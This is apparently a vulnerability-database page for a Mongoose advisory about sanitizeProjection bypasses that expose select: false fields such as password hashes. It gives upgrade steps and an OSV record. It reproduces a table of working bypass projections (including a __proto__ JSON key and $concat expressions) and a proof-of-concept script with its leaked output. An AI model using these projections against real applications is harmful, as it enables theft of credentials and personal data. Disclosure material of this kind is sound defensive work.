CVE-2026-142596: Mongoose SanitizeProjection Can Be Bypassed To Vulnerability

HIGH
Advisory Identifier: GHSA-xfcm-rmv3-crmq
CVSS 7.5
CWE-200
Published
Advisory Summary

CVE-2026-142596 is a HIGH (CVSS 7.5) sanitizeprojection can be bypassed to vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Mongoose libraries in the npm ecosystem. The issue involves sanitizeprojection can be bypassed to include fields deselected with `select: false`. Remediation is available by upgrading affected packages to version 8.24.10, 9.12.2.

CVE-2026-142596 at a Glance

CVE Identifier CVE-2026-142596
GHSA Identifier GHSA-xfcm-rmv3-crmq
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Affected Product Mongoose
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-142596

To remediate this vulnerability, upgrade all affected Mongoose dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mongoose fixed: 8.24.10
npm install mongoose@8.24.10
mongoose fixed: 9.12.2
npm install mongoose@9.12.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls mongoose

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-142596, inspect your project dependencies using npm:

npm ls mongoose

Analyze the terminal output to locate any version of Mongoose in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.24.10), your application is affected.

Note: The npm ls mongoose command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Mongoose, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Since Mongoose 8.5.0, the `sanitizeProjection` option prevents untrusted projections from including fields that the schema deselects with `select: false`, like password hashes and reset tokens. Several projection forms got around that check, so a user-controlled projection could still return `select: false` fields even with `sanitizeProjection` enabled. Mongoose versions before 8.5.0 do **not** make `sanitizeProjection` block including `select: false` keys - hiding `select: false` keys was a new feature introduced in Mongoose 8.5.0. ### Details Given: ```javascript const User = mongoose.model('User', new Schema({ name: String, password: { type: String, select: false }, profile: { bio: String, ssn: { type: String, select: false } }, secrets: { type: Map, of: String, select: false }, recoveryCodes: { type: [String], select: false }, tags: [String], comments: [{ text: String, secret: { type: String, select: false } }] })); ``` each of the following returned `select: false` data with `sanitizeProjection` enabled: | Projection | Why it got through | | --- | --- | | `select('-name +password')` | `+path` was only blocked in inclusive projections | | `select('-+password')` | Collapsing `-` paths turned it into `+password` | | `select('+secrets')` | `+path` was not blocked for map paths | | `select({ name: { $concat: ['$password'] } })`, `select({ name: ['$password'] })` | Object and array values are aggregation expressions; only string values were sanitized | | `select({ tags: { $slice: ['$recoveryCodes', 1] } })` | A two-element `$slice` with an expression is an aggregation expression | | `select({ name: { $meta: 'sortKey' } }).sort({ password: 1 })`, `{ $meta: 'indexKey' }` | `$meta` returned sort and index key values | | `select({ name: '$password' })` called before `sanitizeProjection(true)` | String values were only sanitized if the option was set first | | `select({ profile: { ssn: 1 } })`, `select({ profile: { bio: '$password' } })` | Nested sub-projections were not checked | | `select('profile')` | Selecting a parent path included its `select: false` children | | `select({ 'comments.$': 1 })` | The positional projection returned the whole array element | | `select(JSON.parse('{"__proto__":{"password":0}}'))` | An own `__proto__` key re-pointed the projection object's prototype, hiding `select: false` exclusions | | `select({ profile: { bio: 0 } })` | Nested exclusion objects were treated as inclusive, so `select: false` exclusions were not added | | `select({ tags: { $elemMatch: { $eq: 'a' } }, name: 0 })` | Treated as inclusive, but MongoDB treats it as exclusive | | `select({ name: { x: 1, $elemMatch: { $eq: 'a' } } })` | The `$elemMatch` cast error was swallowed and the whole projection was dropped | | `schemaLevelProjections(false)` with any expression above | Disabling schema-level projections also disabled `sanitizeProjection` | | `User.findOne({ __t: 'Admin' })` | `select: false` fields defined only on a discriminator were not excluded, even when the filter selects that discriminator | For example: ```javascript await User.findOne().sanitizeProjection(true).select('-name +password'); // { password: '<password hash>', ... } await User.findOne().sanitizeProjection(true).select({ name: { $concat: ['$password'] } }); // { name: '<password hash>' } ``` Nested exclusion objects, `$elemMatch` combined with an exclusion, `$elemMatch` cast errors, and discriminator filters also affect queries that do not use `sanitizeProjection`, because they cause Mongoose to leave out the `select: false` exclusions it normally adds. ### Proof of concept Requires a MongoDB server on `localhost` and `npm install mongoose@9.12.1` (or any affected version). ```javascript const mongoose = require('mongoose'); const { Schema } = mongoose; (async () => { await mongoose.connect('mongodb://127.0.0.1:27017/sanitize_projection_poc'); const User = mongoose.model('User', new Schema({ name: String, password: { type: String, select: false }, profile: { bio: String, ssn: { type: String, select: false } }, recoveryCodes: { type: [String], select: false } })); await User.deleteMany({}); await User.create({ name: 'alice', password: 'HASH', profile: { bio: 'hi', ssn: '123-45-6789' }, recoveryCodes: ['CODE1'] }); // Attacker-controlled projections, passed to a query with `sanitizeProjection` enabled const attacks = [ '-name +password', '-+password', { name: { $concat: ['$password'] } }, { name: ['$password'] }, { name: 1, profile: { $slice: ['$recoveryCodes', 1] } }, { profile: { ssn: 1 } }, 'profile', JSON.parse('{"__proto__":{"password":0}}'), { name: { x: 1, $elemMatch: { $eq: 'alice' } } } ]; for (const projection of attacks) { const doc = await User.findOne().sanitizeProjection(true).select(projection).lean().catch(err => err.message); console.log(JSON.stringify(projection), '=>', JSON.stringify(doc)); } await mongoose.disconnect(); })(); ``` Output on an affected version, with `_id` and `__v` removed. Every line includes a `select: false` value: ``` "-name +password" => {"password":"HASH","profile":{"bio":"hi"}} "-+password" => {"name":"alice","password":"HASH","profile":{"bio":"hi"}} {"name":{"$concat":["$password"]}} => {"name":"HASH"} {"name":["$password"]} => {"name":["HASH"]} {"name":1,"profile":{"$slice":["$recoveryCodes",1]}} => {"name":"alice","profile":["CODE1"]} {"profile":{"ssn":1}} => {"profile":{"ssn":"123-45-6789"}} "profile" => {"profile":{"bio":"hi","ssn":"123-45-6789"}} {"__proto__":{"password":0}} => {"name":"alice","password":"HASH","profile":{"bio":"hi"}} {"name":{"x":1,"$elemMatch":{"$eq":"alice"}}} => {"name":"alice","password":"HASH","profile":{"bio":"hi","ssn":"123-45-6789"},"recoveryCodes":["CODE1"]} ``` Output on a patched version. No `select: false` values are returned, and the last projection rejects: ``` "-name +password" => {"profile":{"bio":"hi"}} "-+password" => {"name":"alice","profile":{"bio":"hi"}} {"name":{"$concat":["$password"]}} => {"name":"alice"} {"name":["$password"]} => {"name":"alice"} {"name":1,"profile":{"$slice":["$recoveryCodes",1]}} => {"name":"alice"} {"profile":{"ssn":1}} => {"name":"alice","profile":{"bio":"hi"}} "profile" => {"name":"alice","profile":{"bio":"hi"}} {"__proto__":{"password":0}} => {"name":"alice","profile":{"bio":"hi"}} {"name":{"x":1,"$elemMatch":{"$eq":"alice"}}} => "Can't use x with String." ``` ### Impact Applications are affected if they pass user-controlled data into `select()`, `find(filter, projection)`, or the `projection` option, and rely on `sanitizeProjection` to keep `select: false` fields hidden. An attacker can read those fields, which typically hold password hashes, reset tokens, API keys, or other secrets.

CVE-2026-142596 Affected Mongoose Versions

2 component(s)
Fixed Versions:
8.24.109.12.2
Product / Package Ecosystem Affected Versions Fixed Version
mongoose
npm
≥ 8.5.0
< 8.24.10
8.24.10
mongoose
npm
≥ 9.0.0
< 9.12.2
9.12.2

References

Frequently Asked Questions

What is CVE-2026-142596?
CVE-2026-142596 is a security vulnerability in Mongoose involving sanitizeProjection can be bypassed to include fields deselected with `select: false` under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.
Which Mongoose versions are affected?
Affected versions include releases prior to 8.24.10, 9.12.2 across affected packages: mongoose.
What version fixes CVE-2026-142596?
Upgrading to 8.24.10, 9.12.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mongoose affected?
Yes, mongoose is affected in releases prior to 8.24.10, 9.12.2. Upgrade your dependency to 8.24.10, 9.12.2 or later.
What is the CVSS score of CVE-2026-142596?
CVE-2026-142596 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-142596?
CVE-2026-142596 is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.).
How can I check npm dependencies for CVE-2026-142596?
Run the dependency tree command: 'npm ls mongoose'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xfcm-rmv3-crmq",
  "modified" : "2026-12-04T00:02:36Z",
  "published" : "2026-12-04T00:02:36Z",
  "aliases" : [ "CVE-2026-142596" ],
  "summary" : "Mongoose: sanitizeProjection can be bypassed to include fields deselected with `select: false`",
  "details" : "### Summary\n\nSince Mongoose 8.5.0, the `sanitizeProjection` option prevents untrusted projections from including fields that the schema deselects with `select: false`, like password hashes and reset tokens. Several projection forms got around that check, so a user-controlled projection could still return `select: false` fields even with `sanitizeProjection` enabled.\n\nMongoose versions before 8.5.0 do **not** make `sanitizeProjection` block including `select: false` keys - hiding `select: false` keys was a new feature introduced in Mongoose 8.5.0.\n\n### Details\n\nGiven:\n\n```javascript\nconst User = mongoose.model('User', new Schema({\n  name: String,\n  password: { type: String, select: false },\n  profile: { bio: String, ssn: { type: String, select: false } },\n  secrets: { type: Map, of: String, select: false },\n  recoveryCodes: { type: [String], select: false },\n  tags: [String],\n  comments: [{ text: String, secret: { type: String, select: false } }]\n}));\n```\n\neach of the following returned `select: false` data with `sanitizeProjection` enabled:\n\n| Projection | Why it got through |\n| --- | --- |\n| `select('-name +password')` | `+path` was only blocked in inclusive projections |\n| `select('-+password')` | Collapsing `-` paths turned it into `+password` |\n| `select('+secrets')` | `+path` was not blocked for map paths |\n| `select({ name: { $concat: ['$password'] } })`, `select({ name: ['$password'] })` | Object and array values are aggregation expressions; only string values were sanitized |\n| `select({ tags: { $slice: ['$recoveryCodes', 1] } })` | A two-element `$slice` with an expression is an aggregation expression |\n| `select({ name: { $meta: 'sortKey' } }).sort({ password: 1 })`, `{ $meta: 'indexKey' }` | `$meta` returned sort and index key values |\n| `select({ name: '$password' })` called before `sanitizeProjection(true)` | String values were only sanitized if the option was set first |\n| `select({ profile: { ssn: 1 } })`, `select({ profile: { bio: '$password' } })` | Nested sub-projections were not checked |\n| `select('profile')` | Selecting a parent path included its `select: false` children |\n| `select({ 'comments.$': 1 })` | The positional projection returned the whole array element |\n| `select(JSON.parse('{\"__proto__\":{\"password\":0}}'))` | An own `__proto__` key re-pointed the projection object's prototype, hiding `select: false` exclusions |\n| `select({ profile: { bio: 0 } })` | Nested exclusion objects were treated as inclusive, so `select: false` exclusions were not added |\n| `select({ tags: { $elemMatch: { $eq: 'a' } }, name: 0 })` | Treated as inclusive, but MongoDB treats it as exclusive |\n| `select({ name: { x: 1, $elemMatch: { $eq: 'a' } } })` | The `$elemMatch` cast error was swallowed and the whole projection was dropped |\n| `schemaLevelProjections(false)` with any expression above | Disabling schema-level projections also disabled `sanitizeProjection` |\n| `User.findOne({ __t: 'Admin' })` | `select: false` fields defined only on a discriminator were not excluded, even when the filter selects that discriminator |\n\nFor example:\n\n```javascript\nawait User.findOne().sanitizeProjection(true).select('-name +password');\n// { password: '<password hash>', ... }\n\nawait User.findOne().sanitizeProjection(true).select({ name: { $concat: ['$password'] } });\n// { name: '<password hash>' }\n```\n\nNested exclusion objects, `$elemMatch` combined with an exclusion, `$elemMatch` cast errors, and discriminator filters also affect queries that do not use `sanitizeProjection`, because they cause Mongoose to leave out the `select: false` exclusions it normally adds.\n\n### Proof of concept\n\nRequires a MongoDB server on `localhost` and `npm install mongoose@9.12.1` (or any affected version).\n\n```javascript\nconst mongoose = require('mongoose');\nconst { Schema } = mongoose;\n\n(async () => {\n  await mongoose.connect('mongodb://127.0.0.1:27017/sanitize_projection_poc');\n\n  const User = mongoose.model('User', new Schema({\n    name: String,\n    password: { type: String, select: false },\n    profile: { bio: String, ssn: { type: String, select: false } },\n    recoveryCodes: { type: [String], select: false }\n  }));\n  await User.deleteMany({});\n  await User.create({ name: 'alice', password: 'HASH', profile: { bio: 'hi', ssn: '123-45-6789' }, recoveryCodes: ['CODE1'] });\n\n  // Attacker-controlled projections, passed to a query with `sanitizeProjection` enabled\n  const attacks = [\n    '-name +password',\n    '-+password',\n    { name: { $concat: ['$password'] } },\n    { name: ['$password'] },\n    { name: 1, profile: { $slice: ['$recoveryCodes', 1] } },\n    { profile: { ssn: 1 } },\n    'profile',\n    JSON.parse('{\"__proto__\":{\"password\":0}}'),\n    { name: { x: 1, $elemMatch: { $eq: 'alice' } } }\n  ];\n  for (const projection of attacks) {\n    const doc = await User.findOne().sanitizeProjection(true).select(projection).lean().catch(err => err.message);\n    console.log(JSON.stringify(projection), '=>', JSON.stringify(doc));\n  }\n\n  await mongoose.disconnect();\n})();\n```\n\nOutput on an affected version, with `_id` and `__v` removed. Every line includes a `select: false` value:\n\n```\n\"-name +password\" => {\"password\":\"HASH\",\"profile\":{\"bio\":\"hi\"}}\n\"-+password\" => {\"name\":\"alice\",\"password\":\"HASH\",\"profile\":{\"bio\":\"hi\"}}\n{\"name\":{\"$concat\":[\"$password\"]}} => {\"name\":\"HASH\"}\n{\"name\":[\"$password\"]} => {\"name\":[\"HASH\"]}\n{\"name\":1,\"profile\":{\"$slice\":[\"$recoveryCodes\",1]}} => {\"name\":\"alice\",\"profile\":[\"CODE1\"]}\n{\"profile\":{\"ssn\":1}} => {\"profile\":{\"ssn\":\"123-45-6789\"}}\n\"profile\" => {\"profile\":{\"bio\":\"hi\",\"ssn\":\"123-45-6789\"}}\n{\"__proto__\":{\"password\":0}} => {\"name\":\"alice\",\"password\":\"HASH\",\"profile\":{\"bio\":\"hi\"}}\n{\"name\":{\"x\":1,\"$elemMatch\":{\"$eq\":\"alice\"}}} => {\"name\":\"alice\",\"password\":\"HASH\",\"profile\":{\"bio\":\"hi\",\"ssn\":\"123-45-6789\"},\"recoveryCodes\":[\"CODE1\"]}\n```\n\nOutput on a patched version. No `select: false` values are returned, and the last projection rejects:\n\n```\n\"-name +password\" => {\"profile\":{\"bio\":\"hi\"}}\n\"-+password\" => {\"name\":\"alice\",\"profile\":{\"bio\":\"hi\"}}\n{\"name\":{\"$concat\":[\"$password\"]}} => {\"name\":\"alice\"}\n{\"name\":[\"$password\"]} => {\"name\":\"alice\"}\n{\"name\":1,\"profile\":{\"$slice\":[\"$recoveryCodes\",1]}} => {\"name\":\"alice\"}\n{\"profile\":{\"ssn\":1}} => {\"name\":\"alice\",\"profile\":{\"bio\":\"hi\"}}\n\"profile\" => {\"name\":\"alice\",\"profile\":{\"bio\":\"hi\"}}\n{\"__proto__\":{\"password\":0}} => {\"name\":\"alice\",\"profile\":{\"bio\":\"hi\"}}\n{\"name\":{\"x\":1,\"$elemMatch\":{\"$eq\":\"alice\"}}} => \"Can't use x with String.\"\n```\n\n### Impact\n\nApplications are affected if they pass user-controlled data into `select()`, `find(filter, projection)`, or the `projection` option, and rely on `sanitizeProjection` to keep `select: false` fields hidden. An attacker can read those fields, which typically hold password hashes, reset tokens, API keys, or other secrets.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "mongoose"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "8.5.0"
      }, {
        "fixed" : "8.24.10"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "mongoose"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "9.0.0"
      }, {
        "fixed" : "9.12.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Automattic/mongoose/security/advisories/GHSA-xfcm-rmv3-crmq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-142596"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Automattic/mongoose/commit/c369da407ee8bea907bb5af7bb94ce5deeb3e0e4"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Automattic/mongoose/commit/c5483b71438ececde3a272feef65e14666614093"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Automattic/mongoose"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Automattic/mongoose/releases/tag/8.24.10"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Automattic/mongoose/releases/tag/9.12.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-04T00:02:36Z",
    "nvd_published_at" : "2026-12-02T22:18:37Z"
  }
}